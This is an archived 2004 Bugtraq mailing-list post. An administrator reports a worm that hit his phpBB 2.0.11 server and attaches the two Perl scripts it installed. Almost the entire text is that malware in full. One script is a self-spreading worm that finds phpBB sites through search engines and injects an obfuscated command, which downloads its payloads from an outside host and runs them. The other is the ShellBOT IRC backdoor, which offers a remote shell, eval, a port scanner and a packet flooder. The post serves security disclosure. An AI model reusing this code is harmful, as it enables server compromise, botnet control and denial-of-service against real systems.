[37982] in bugtraq

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new phpBB worm affects 2.0.11

daemon@ATHENA.MIT.EDU (Herman Sheremetyev)
Sat Dec 25 14:20:40 2004

Message-ID: <41CC92E6.5090009@swebpage.com>
Date: Fri, 24 Dec 2004 17:06:30 -0500
From: Herman Sheremetyev <herman@swebpage.com>
MIME-Version: 1.0
To: bugtraq@securityfocus.com, full-disclosure@lists.netsys.com
In-Reply-To: <Pine.LNX.4.61.0412241909320.23893@mailbox.prolocation.net>
Content-Type: multipart/mixed;
 boundary="------------010908030503030606040208"

This is a multi-part message in MIME format.
--------------010908030503030606040208
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit

My patched phpBB 2.0.11 running on FreeBSD 4.10 was exploited by a new 
variation of the worm this morning.  I'm attaching the 2 perl scripts it 
installs, one is an irc bot the other the worm itself.

-Herman


--------------010908030503030606040208
Content-Type: text/plain;
 name="worm.txt"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: inline;
 filename="worm.txt"

#/usr/bin/perl

use IO::Socket;
use LWP::Simple;
my $processo =3D "/usr/bin/httpd -DSSL";
$0=3D"$processo"."\0"x16;;
my $pid=3Dfork;
exit if $pid;
die "Problema com o fork: $!" unless defined($pid);

while(1){
@vul =3D "";
$a=3D0;
$numero =3D int rand(999);
$site =3D "www.google.com";
$procura =3D "inurl:viewtopic.php?t=3D$numero";

######################################
for($n=3D0;$n<90;$n +=3D 10){
$sock =3D IO::Socket::INET->new(PeerAddr=3D>"$site",PeerPort=3D>"80",Prot=
o=3D>"tcp") or next;
print $sock "GET /search?q=3D$procura&start=3D$n HTTP/1.0\n\n";
@resu =3D <$sock>;
close($sock);
$ae =3D "@resu";
while ($ae=3D~ m/<a href=3D.*?>.*?<\/a>/){
  $ae=3D~ s/<a href=3D(.*?)>.*?<\/a>/$1/;
  $uber=3D$1;
if ($uber !~/translate/)
{if ($uber !~ /cache/)
{if ($uber !~ /"/)
{if ($uber !~ /google/)
{if ($uber !~ /216/)
{if ($uber =3D~/http/)
{if ($uber !~ /start=3D/)
{
if ($uber =3D~/&/)
   {
   $nu =3D index $uber, '&';
   $uber =3D substr($uber,0,$nu);
   }
$vul[$a] =3D $uber;
$a++;
}}}}}}}}}
##########################
for($cadenu=3D1;$cadenu <=3D 99; $cadenu +=3D10){

@cade =3D get("http://cade.search.yahoo.com/search?p=3D$procura&ei=3DUTF-=
8&fl=3D0&all=3D1&pstart=3D1&b=3D$cadenu") or next;
$ae =3D "@cade";

while ($ae=3D~ m/<em class=3Dyschurl>.*?<\/em>/){
  $ae=3D~ s/<em class=3Dyschurl>(.*?)<\/em>/$1/;
  $uber=3D$1;
 =20
$uber =3D~ s/ //g;
$uber =3D~ s/<b>//g;
$uber =3D~ s/<\/b>//g;
$uber =3D~ s/<wbr>//g;

if ($uber =3D~/&/)
   {
   $nu =3D index $uber, '&';
   $uber =3D substr($uber,0,$nu);
   }
$vul[$a] =3D $uber;
$a++
}}

#########################


$cmd =3D '&highlight=3D%2527%252esystem(chr(99)%252echr(100)%252echr(32)%=
252echr(47)%252echr(116)%252echr(109)%252echr(112)%252echr(59)%252echr(11=
9)%252echr(103)%252echr(101)%252echr(116)%252echr(32)%252echr(119)%252ech=
r(119)%252echr(119)%252echr(46)%252echr(116)%252echr(101)%252echr(110)%25=
2echr(104)%252echr(97)%252echr(115)%252echr(101)%252echr(117)%252echr(115=
)%252echr(105)%252echr(116)%252echr(101)%252echr(46)%252echr(99)%252echr(=
111)%252echr(109)%252echr(47)%252echr(98)%252echr(111)%252echr(116)%252ec=
hr(46)%252echr(116)%252echr(120)%252echr(116)%252echr(59)%252echr(112)%25=
2echr(101)%252echr(114)%252echr(108)%252echr(32)%252echr(98)%252echr(111)=
%252echr(116)%252echr(46)%252echr(116)%252echr(120)%252echr(116)%252echr(=
59)%252echr(119)%252echr(103)%252echr(101)%252echr(116)%252echr(32)%252ec=
hr(119)%252echr(119)%252echr(119)%252echr(46)%252echr(116)%252echr(101)%2=
52echr(110)%252echr(104)%252echr(97)%252echr(115)%252echr(101)%252echr(11=
7)%252echr(115)%252echr(105)%252echr(116)%252echr(101)%252echr(46)%252ech=
r'.'(99)%252echr(111)%252echr(109)%252echr(47)%252echr(119)%252echr(111)%=
252echr(114)%252echr(109)%252echr(46)%252echr(116)%252echr(120)%252echr(1=
16)%252echr(59)%252echr(112)%252echr(101)%252echr(114)%252echr(108)%252ec=
hr(32)%252echr(119)%252echr(111)%252echr(114)%252echr(109)%252echr(46)%25=
2echr(116)%252echr(120)%252echr(116))%252e%2527';


$b =3D scalar(@vul);

for($a=3D0;$a<=3D$b;$a++)
{

$sitevul =3D $vul[$a] . $cmd;
if($sitevul !~/http/){ $sitevul =3D 'http://' . $sitevul; }
$res =3D get($sitevul) or next;
}












}
--------------010908030503030606040208
Content-Type: text/plain;
 name="bot"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: inline;
 filename="bot"

#!/usr/bin/perl
#
#  ShellBOT - Atrix Team
#
#   0ldW0lf - oldwolf@atrix-team.org
#           - www.atrix-team.org
#           - www.atrix.cjb.net
#
#
################ CONFIGURACAO ###########################################=
######################
my $processo =3D '/usr/local/apache/bin/httpd -DSSL';	               # No=
me do processo que vai aparece no ps       #
#----------------------------------------------##########################=
######################
my $linas_max=3D'8';                             # Evita o flood :) depoi=
s de X linhas         #
#----------------------------------------------##########################=
######################
my $sleep=3D'4';                                 # ele dorme X segundos  =
                       #
##################### IRC ###############################################=
######################
my @adms=3D("ssh");	                       # Nick do administrador       =
                 #
#----------------------------------------------##########################=
######################
my @canais=3D("#ssh echo");                         # Caso haja senha ("#=
canal :senha")            #
#----------------------------------------------##########################=
######################
my $nick=3D'sshd';	                       # Nick do bot. Caso esteja em u=
so vai aparecer #
                                               # aparecer com numero rado=
namico no final      #
#----------------------------------------------##########################=
######################
my $ircname =3D 'ssh';                     # User ID                     =
                 #
#----------------------------------------------##########################=
######################
chop (my $realname =3D `uname -a`);              # Full Name             =
                       #
#----------------------------------------------##########################=
######################
$servidor=3D'ssh.gigachat.net' unless $servidor;  # Servidor de irc que v=
ai ser usado            #
                                               # caso n=E3o seja especifi=
cado no argumento      #
#----------------------------------------------##########################=
######################
my $porta=3D'6667';	                       # Porta do servidor de irc    =
                 #
################ ACESSO A SHELL #########################################=
######################
my $secv =3D 1;	                               # 1/0 pra habilita/desabil=
ita acesso a shell   #
#########################################################################=
######################

my $VERSAO =3D '0.2';

$SIG{'INT'} =3D 'IGNORE';
$SIG{'HUP'} =3D 'IGNORE';
$SIG{'TERM'} =3D 'IGNORE';
$SIG{'CHLD'} =3D 'IGNORE';
$SIG{'PS'} =3D 'IGNORE';

use IO::Socket;
use Socket;
use IO::Select;
chdir("/");
$servidor=3D"$ARGV[0]" if $ARGV[0];
$0=3D"$processo"."\0"x16;;
my $pid=3Dfork;
exit if $pid;
die "Problema com o fork: $!" unless defined($pid);



my $dcc_sel =3D new IO::Select->new();

#############################
#  B0tchZ na veia ehehe :P  #
#############################

$sel_cliente =3D IO::Select->new();
sub sendraw {
  if ($#_ =3D=3D '1') {
    my $socket =3D $_[0];
    print $socket "$_[1]\n";
  } else {
      print $IRC_cur_socket "$_[0]\n";
  }
}

sub conectar {
   my $meunick =3D $_[0];
   my $servidor_con =3D $_[1];
   my $porta_con =3D $_[2];

   my $IRC_socket =3D IO::Socket::INET->new(Proto=3D>"tcp", PeerAddr=3D>"=
$servidor_con", PeerPort=3D>$porta_con) or return(1);
   if (defined($IRC_socket)) {
     $IRC_cur_socket =3D $IRC_socket;

     $IRC_socket->autoflush(1);
     $sel_cliente->add($IRC_socket);

     $irc_servers{$IRC_cur_socket}{'host'} =3D "$servidor_con";
     $irc_servers{$IRC_cur_socket}{'porta'} =3D "$porta_con";
     $irc_servers{$IRC_cur_socket}{'nick'} =3D $meunick;
     $irc_servers{$IRC_cur_socket}{'meuip'} =3D $IRC_socket->sockhost;
     nick("$meunick");
     sendraw("USER $ircname ".$IRC_socket->sockhost." $servidor_con :$rea=
lname");
     sleep 1;
   }

}
my $line_temp;
while( 1 ) {
   while (!(keys(%irc_servers))) { conectar("$nick", "$servidor", "$porta=
"); }
   delete($irc_servers{''}) if (defined($irc_servers{''}));
   &DCC::connections;
   my @ready =3D $sel_cliente->can_read(0);
   next unless(@ready);
   foreach $fh (@ready) {
     $IRC_cur_socket =3D $fh;
     $meunick =3D $irc_servers{$IRC_cur_socket}{'nick'};
     $nread =3D sysread($fh, $msg, 4096);
     if ($nread =3D=3D 0) {
        $sel_cliente->remove($fh);
        $fh->close;
        delete($irc_servers{$fh});
     }
     @lines =3D split (/\n/, $msg);

     for(my $c=3D0; $c<=3D $#lines; $c++) {
       $line =3D $lines[$c];
       $line=3D$line_temp.$line if ($line_temp);
       $line_temp=3D'';
       $line =3D~ s/\r$//;
       unless ($c =3D=3D $#lines) {
         parse("$line");
       } else {
           if ($#lines =3D=3D 0) {
             parse("$line");
           } elsif ($lines[$c] =3D~ /\r$/) {
               parse("$line");
           } elsif ($line =3D~ /^(\S+) NOTICE AUTH :\*\*\*/) {
               parse("$line");
           } else {
               $line_temp =3D $line;
           }
       }
      }
   }
}


=20
sub parse {
   my $servarg =3D shift;
   if ($servarg =3D~ /^PING \:(.*)/) {
     sendraw("PONG :$1");
   } elsif ($servarg =3D~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) =
{
       my $pn=3D$1; my $onde =3D $4; my $args =3D $5;
       if ($args =3D~ /^\001VERSION\001$/) {
         notice("$pn", "\001VERSION ShellBOT-$VERSAO por 0ldW0lf\001");
       }
       if (grep {$_ =3D~ /^\Q$pn\E$/i } @adms) {
         if ($onde eq "$meunick"){
           shell("$pn", "$args");
         }
         if ($args =3D~ /^(\Q$meunick\E|\!atrix)\s+(.*)/ ) {
            my $natrix =3D $1;
            my $arg =3D $2;
            if ($arg =3D~ /^\!(.*)/) {
              ircase("$pn","$onde","$1") unless ($natrix eq "!atrix" and =
$arg =3D~ /^\!nick/);
            } elsif ($arg =3D~ /^\@(.*)/) {
                $ondep =3D $onde;
                $ondep =3D $pn if $onde eq $meunick;
                bfunc("$ondep","$1");
            } else {
                shell("$onde", "$arg");
            }
         }=20
       }
   } elsif ($servarg =3D~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
       if (lc($1) eq lc($meunick)) {
         $meunick=3D$4;=20
         $irc_servers{$IRC_cur_socket}{'nick'} =3D $meunick;
       }
   } elsif ($servarg =3D~ m/^\:(.+?)\s+433/i) {
       nick("$meunick".int rand(9999));
   } elsif ($servarg =3D~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
       $meunick =3D $2;
       $irc_servers{$IRC_cur_socket}{'nick'} =3D $meunick;
       $irc_servers{$IRC_cur_socket}{'nome'} =3D "$1";
       foreach my $canal (@canais) {
         sendraw("JOIN $canal");
       }
   }
}

sub bfunc {
  my $printl =3D $_[0];
  my $funcarg =3D $_[1];
  if (my $pid =3D fork) {
     waitpid($pid, 0);
  } else {
      if (fork) {
         exit;
       } else {
           if ($funcarg =3D~ /^portscan (.*)/) {
             my $hostip=3D"$1";
             my @portas=3D("21","22","23","25","53","80","110","143");
             my (@aberta, %porta_banner);
             foreach my $porta (@portas)  {
                my $scansock =3D IO::Socket::INET->new(PeerAddr =3D> $hos=
tip, PeerPort =3D> $porta, Proto =3D> 'tcp', Timeout =3D> 4);
                if ($scansock) {
                   push (@aberta, $porta);
                   $scansock->close;
                }
             }

             if (@aberta) {
               sendraw($IRC_cur_socket, "PRIVMSG $printl :portas abertas:=
 @aberta");
             } else {
                 sendraw($IRC_cur_socket,"PRIVMSG $printl :Nenhuma porta =
aberta foi encontrada");=20
             }
           }
           if ($funcarg =3D~ /^pacota\s+(.*)\s+(\d+)\s+(\d+)/) {
             my ($dtime, %pacotes) =3D attacker("$1", "$2", "$3");
             $dtime =3D 1 if $dtime =3D=3D 0;
             my %bytes;
             $bytes{igmp} =3D $2 * $pacotes{igmp};
             $bytes{icmp} =3D $2 * $pacotes{icmp};
             $bytes{o} =3D $2 * $pacotes{o};
             $bytes{udp} =3D $2 * $pacotes{udp};
             $bytes{tcp} =3D $2 * $pacotes{tcp};
           =20
             sendraw($IRC_cur_socket, "PRIVMSG $printl :\002 - Status GER=
AL -\002");
             sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Tempo\002: $d=
time"."s");
             sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Total pacotes=
\002: ".($pacotes{udp} + $pacotes{igmp} + $pacotes{icmp} +  $pacotes{o}))=
;
             sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Total bytes\0=
02: ".($bytes{icmp} + $bytes {igmp} + $bytes{udp} + $bytes{o}));
             sendraw($IRC_cur_socket, "PRIVMSG $printl :\002M=E9dia de en=
vio\002: ".int((($bytes{icmp}+$bytes{igmp}+$bytes{udp} + $bytes{o})/1024)=
/$dtime)." kbps");


           }
           exit;
       }
  }
}
=20
sub ircase {
  my ($kem, $printl, $case) =3D @_;

  if ($case =3D~ /^join (.*)/) {
     j("$1");
   }=20
   if ($case =3D~ /^part (.*)/) {
      p("$1");
   }
   if ($case =3D~ /^rejoin\s+(.*)/) {
      my $chan =3D $1;
      if ($chan =3D~ /^(\d+) (.*)/) {
        for (my $ca =3D 1; $ca <=3D $1; $ca++ ) {
          p("$2");
          j("$2");
        }
      } else {
          p("$chan");
          j("$chan");
      }
   }
   if ($case =3D~ /^op/) {
      op("$printl", "$kem") if $case eq "op";
      my $oarg =3D substr($case, 3);
      op("$1", "$2") if ($oarg =3D~ /(\S+)\s+(\S+)/);
   }
   if ($case =3D~ /^deop/) {
      deop("$printl", "$kem") if $case eq "deop";
      my $oarg =3D substr($case, 5);
      deop("$1", "$2") if ($oarg =3D~ /(\S+)\s+(\S+)/);
   }
   if ($case =3D~ /^voice/) {
      voice("$printl", "$kem") if $case eq "voice";
      $oarg =3D substr($case, 6);
      voice("$1", "$2") if ($oarg =3D~ /(\S+)\s+(\S+)/);
   }
   if ($case =3D~ /^devoice/) {
      devoice("$printl", "$kem") if $case eq "devoice";
      $oarg =3D substr($case, 8);
      devoice("$1", "$2") if ($oarg =3D~ /(\S+)\s+(\S+)/);
   }
   if ($case =3D~ /^msg\s+(\S+) (.*)/) {
      msg("$1", "$2");
   }
   if ($case =3D~ /^flood\s+(\d+)\s+(\S+) (.*)/) {
      for (my $cf =3D 1; $cf <=3D $1; $cf++) {
        msg("$2", "$3");
      }
   }
   if ($case =3D~ /^ctcp\s+(\S+) (.*)/) {
      ctcp("$1", "$2");
   }
   if ($case =3D~ /^ctcpflood\s+(\d+)\s+(\S+) (.*)/) {
      for (my $cf =3D 1; $cf <=3D $1; $cf++) {
        ctcp("$2", "$3");
      }
   }
   if ($case =3D~ /^invite\s+(\S+) (.*)/) {
      invite("$1", "$2");
   }
   if ($case =3D~ /^nick (.*)/) {
      nick("$1");
   }
   if ($case =3D~ /^conecta\s+(\S+)\s+(\S+)/) {
       conectar("$2", "$1", 6667);
   }
   if ($case =3D~ /^send\s+(\S+)\s+(\S+)/) {
      DCC::SEND("$1", "$2");
   }
   if ($case =3D~ /^raw (.*)/) {
      sendraw("$1");
   }
   if ($case =3D~ /^eval (.*)/) {
     eval "$1";
   }
}
sub shell {
  return unless $secv;
  my $printl=3D$_[0];
  my $comando=3D$_[1];
  if ($comando =3D~ /cd (.*)/) {
    chdir("$1") || msg("$printl", "Diert=F3rio inexistente!");
    return;
  }=20
  elsif ($pid =3D fork) {
     waitpid($pid, 0);
  } else {
      if (fork) {
         exit;
       } else {
           my @resp=3D`$comando 2>&1 3>&1`;
           my $c=3D0;
           foreach my $linha (@resp) {
             $c++;
             chop $linha;
             sendraw($IRC_cur_socket, "PRIVMSG $printl :$linha");
             if ($c =3D=3D "$linas_max") {
               $c=3D0;
               sleep $sleep;
             }
           }
           exit;
       }
  }
}

#eu fiz um pacotadorzinhu e talz.. dai colokemo ele aki
sub attacker {
  my $iaddr =3D inet_aton($_[0]);
  my $msg =3D 'B' x $_[1];
  my $ftime =3D $_[2];
  my $cp =3D 0;
  my (%pacotes);
  $pacotes{icmp} =3D $pacotes{igmp} =3D $pacotes{udp} =3D $pacotes{o} =3D=
 $pacotes{tcp} =3D 0;
 =20
  socket(SOCK1, PF_INET, SOCK_RAW, 2) or $cp++;
  socket(SOCK2, PF_INET, SOCK_DGRAM, 17) or $cp++;
  socket(SOCK3, PF_INET, SOCK_RAW, 1) or $cp++;
  socket(SOCK4, PF_INET, SOCK_RAW, 6) or $cp++;
  return(undef) if $cp =3D=3D 4;
  my $itime =3D time;
  my ($cur_time);
  while ( 1 ) {
     for (my $porta =3D 1; $porta <=3D 65535; $porta++) {
       $cur_time =3D time - $itime;
       last if $cur_time >=3D $ftime;
       send(SOCK1, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{igm=
p}++;
       send(SOCK2, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{udp=
}++;
       send(SOCK3, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{icm=
p}++;
       send(SOCK4, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{tcp=
}++;

       # DoS ?? :P
       for (my $pc =3D 3; $pc <=3D 255;$pc++) {
         next if $pc =3D=3D 6;
         $cur_time =3D time - $itime;
         last if $cur_time >=3D $ftime;
         socket(SOCK5, PF_INET, SOCK_RAW, $pc) or next;
         send(SOCK5, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{o=
}++;;
       }
     }
     last if $cur_time >=3D $ftime;
  }
  return($cur_time, %pacotes);
}



#############
#  ALIASES  #
#############

sub action {
   return unless $#_ =3D=3D 1;
   sendraw("PRIVMSG $_[0] :\001ACTION $_[1]\001");
}

sub ctcp {
   return unless $#_ =3D=3D 1;
   sendraw("PRIVMSG $_[0] :\001$_[1]\001");
}
sub msg {
   return unless $#_ =3D=3D 1;
   sendraw("PRIVMSG $_[0] :$_[1]");
} =20

sub notice {
   return unless $#_ =3D=3D 1;
   sendraw("NOTICE $_[0] :$_[1]");
}

sub op {
   return unless $#_ =3D=3D 1;
   sendraw("MODE $_[0] +o $_[1]");
}
sub deop {
   return unless $#_ =3D=3D 1;
   sendraw("MODE $_[0] -o $_[1]");
}
sub hop {
    return unless $#_ =3D=3D 1;
   sendraw("MODE $_[0] +h $_[1]");
}
sub dehop {
   return unless $#_ =3D=3D 1;
   sendraw("MODE $_[0] +h $_[1]");
}
sub voice {
   return unless $#_ =3D=3D 1;
   sendraw("MODE $_[0] +v $_[1]");
}
sub devoice {
   return unless $#_ =3D=3D 1;
   sendraw("MODE $_[0] -v $_[1]");
}
sub ban {
   return unless $#_ =3D=3D 1;
   sendraw("MODE $_[0] +b $_[1]");
}
sub unban {
   return unless $#_ =3D=3D 1;
   sendraw("MODE $_[0] -b $_[1]");
}
sub kick {
   return unless $#_ =3D=3D 1;
   sendraw("KICK $_[0] $_[1] :$_[2]");
}

sub modo {
   return unless $#_ =3D=3D 0;
   sendraw("MODE $_[0] $_[1]");
}
sub mode { modo(@_); }

sub j { &join(@_); }
sub join {
   return unless $#_ =3D=3D 0;
   sendraw("JOIN $_[0]");
}
sub p { part(@_); }
sub part {sendraw("PART $_[0]");}

sub nick {
  return unless $#_ =3D=3D 0;
  sendraw("NICK $_[0]");
}

sub invite {
   return unless $#_ =3D=3D 1;
   sendraw("INVITE $_[1] $_[0]");
}
sub topico {
   return unless $#_ =3D=3D 1;
   sendraw("TOPIC $_[0] $_[1]");
}
sub topic { topico(@_); }

sub whois {
  return unless $#_ =3D=3D 0;
  sendraw("WHOIS $_[0]");
}
sub who {
  return unless $#_ =3D=3D 0;
  sendraw("WHO $_[0]");
}
sub names {
  return unless $#_ =3D=3D 0;
  sendraw("NAMES $_[0]");
}
sub away {
  sendraw("AWAY $_[0]");
}
sub back { away(); }
sub quit {
  sendraw("QUIT :$_[0]");
}



# DCC
package DCC;

sub connections {
   my @ready =3D $dcc_sel->can_read(1);
#   return unless (@ready);
   foreach my $fh (@ready) {
     my $dcctipo =3D $DCC{$fh}{tipo};
     my $arquivo =3D $DCC{$fh}{arquivo};
     my $bytes =3D $DCC{$fh}{bytes};
     my $cur_byte =3D $DCC{$fh}{curbyte};
     my $nick =3D $DCC{$fh}{nick};

     my $msg;
     my $nread =3D sysread($fh, $msg, 10240);

     if ($nread =3D=3D 0 and $dcctipo =3D~ /^(get|sendcon)$/) {
        $DCC{$fh}{status} =3D "Cancelado";
        $DCC{$fh}{ftime} =3D time;
        $dcc_sel->remove($fh);
        $fh->close;
        next;
     }

     if ($dcctipo eq "get") {
        $DCC{$fh}{curbyte} +=3D length($msg);

        my $cur_byte =3D $DCC{$fh}{curbyte};

        open(FILE, ">> $arquivo");
        print FILE "$msg" if ($cur_byte <=3D $bytes);
        close(FILE);

        my $packbyte =3D pack("N", $cur_byte);
        print $fh "$packbyte";

        if ($bytes =3D=3D $cur_byte) {
           $dcc_sel->remove($fh);
           $fh->close;
           $DCC{$fh}{status} =3D "Recebido";
           $DCC{$fh}{ftime} =3D time;
           next;
        }
     } elsif ($dcctipo eq "send") {
          my $send =3D $fh->accept;
          $send->autoflush(1);
          $dcc_sel->add($send);
          $dcc_sel->remove($fh);
          $DCC{$send}{tipo} =3D 'sendcon';
          $DCC{$send}{itime} =3D time;
          $DCC{$send}{nick} =3D $nick;
          $DCC{$send}{bytes} =3D $bytes;
          $DCC{$send}{curbyte} =3D 0;
          $DCC{$send}{arquivo} =3D $arquivo;
          $DCC{$send}{ip} =3D $send->peerhost;
          $DCC{$send}{porta} =3D $send->peerport;
          $DCC{$send}{status} =3D "Enviando";

          #de cara manda os primeiro 1024 bytes do arkivo.. o resto fik c=
om o sendcon
          open(FILE, "< $arquivo");
          my $fbytes;
          read(FILE, $fbytes, 1024);
          print $send "$fbytes";
          close FILE;
#          delete($DCC{$fh});
     } elsif ($dcctipo eq 'sendcon') {
          my $bytes_sended =3D unpack("N", $msg);
          $DCC{$fh}{curbyte} =3D $bytes_sended;
          if ($bytes_sended =3D=3D $bytes) {
             $fh->close;
             $dcc_sel->remove($fh);
             $DCC{$fh}{status} =3D "Enviado";
             $DCC{$fh}{ftime} =3D time;
             next;
          }
          open(SENDFILE, "< $arquivo");
          seek(SENDFILE, $bytes_sended, 0);
          my $send_bytes;
          read(SENDFILE, $send_bytes, 1024);
          print $fh "$send_bytes";
          close(SENDFILE);
     }
   }
}


sub SEND {
  my ($nick, $arquivo) =3D @_;
  unless (-r "$arquivo") {
    return(0);
  }
=20
  my $dccark =3D $arquivo;
  $dccark =3D~ s/[.*\/](\S+)/$1/;

  my $meuip =3D $::irc_servers{"$::IRC_cur_socket"}{'meuip'};
  my $longip =3D unpack("N",inet_aton($meuip));

  my @filestat =3D stat($arquivo);
  my $size_total=3D$filestat[7];
  if ($size_total =3D=3D 0) {
     return(0);
  }

  my ($porta, $sendsock);
  do {
    $porta =3D int rand(64511);
    $porta +=3D 1024;
    $sendsock =3D IO::Socket::INET->new(Listen=3D>1, LocalPort =3D>$porta=
, Proto =3D> 'tcp') and $dcc_sel->add($sendsock);
  } until $sendsock;

  $DCC{$sendsock}{tipo} =3D 'send';
  $DCC{$sendsock}{nick} =3D $nick;
  $DCC{$sendsock}{bytes} =3D $size_total;
  $DCC{$sendsock}{arquivo} =3D $arquivo;


  &::ctcp("$nick", "DCC SEND $dccark $longip $porta $size_total");

}

sub GET {
  my ($arquivo, $dcclongip, $dccporta, $bytes, $nick) =3D @_;
  return(0) if (-e "$arquivo");
  if (open(FILE, "> $arquivo")) {
     close FILE;
  } else {=20
    return(0);=20
  }

  my $dccip=3Dfixaddr($dcclongip);
  return(0) if ($dccporta < 1024 or not defined $dccip or $bytes < 1);
  my $dccsock =3D IO::Socket::INET->new(Proto=3D>"tcp", PeerAddr=3D>$dcci=
p, PeerPort=3D>$dccporta, Timeout=3D>15) or return (0);
  $dccsock->autoflush(1);
  $dcc_sel->add($dccsock);
  $DCC{$dccsock}{tipo} =3D 'get';
  $DCC{$dccsock}{itime} =3D time;
  $DCC{$dccsock}{nick} =3D $nick;
  $DCC{$dccsock}{bytes} =3D $bytes;
  $DCC{$dccsock}{curbyte} =3D 0;
  $DCC{$dccsock}{arquivo} =3D $arquivo;
  $DCC{$dccsock}{ip} =3D $dccip;
  $DCC{$dccsock}{porta} =3D $dccporta;
  $DCC{$dccsock}{status} =3D "Recebendo";
}

# po fico xato de organiza o status.. dai fiz ele retorna o status de aco=
rdo com o socket.. dai o ADM.pl lista os sockets e faz as perguntas
sub Status {
  my $socket =3D shift;
  my $sock_tipo =3D $DCC{$socket}{tipo};
  unless (lc($sock_tipo) eq "chat") {
    my $nick =3D $DCC{$socket}{nick};
    my $arquivo =3D $DCC{$socket}{arquivo};
    my $itime =3D $DCC{$socket}{itime};
    my $ftime =3D time;
    my $status =3D $DCC{$socket}{status};
    $ftime =3D $DCC{$socket}{ftime} if defined($DCC{$socket}{ftime});

    my $d_time =3D $ftime-$itime;

    my $cur_byte =3D $DCC{$socket}{curbyte};
    my $bytes_total =3D  $DCC{$socket}{bytes};

    my $rate =3D 0;
    $rate =3D ($cur_byte/1024)/$d_time if $cur_byte > 0;
    my $porcen =3D ($cur_byte*100)/$bytes_total;

    my ($r_duv, $p_duv);
    if ($rate =3D~ /^(\d+)\.(\d)(\d)(\d)/) {
       $r_duv =3D $3; $r_duv++ if $4 >=3D 5;
       $rate =3D "$1\.$2"."$r_duv";
    }
    if ($porcen =3D~ /^(\d+)\.(\d)(\d)(\d)/) {
       $p_duv =3D $3; $p_duv++ if $4 >=3D 5;
       $porcen =3D "$1\.$2"."$p_duv";
    }
    return("$sock_tipo","$status","$nick","$arquivo","$bytes_total", "$cu=
r_byte","$d_time", "$rate", "$porcen");
  }


  return(0);
}


# esse 'sub fixaddr' daki foi pego do NET::IRC::DCC identico soh copiei e=
 coloei (colokar nome do autor)
sub fixaddr {
    my ($address) =3D @_;

    chomp $address;     # just in case, sigh.
    if ($address =3D~ /^\d+$/) {
        return inet_ntoa(pack "N", $address);
    } elsif ($address =3D~ /^[12]?\d{1,2}\.[12]?\d{1,2}\.[12]?\d{1,2}\.[1=
2]?\d{1,2}$/) {
        return $address;
    } elsif ($address =3D~ tr/a-zA-Z//) {                    # Whee! Obfu=
scation!
        return inet_ntoa(((gethostbyname($address))[4])[0]);
    } else {
        return;
    }
}=20

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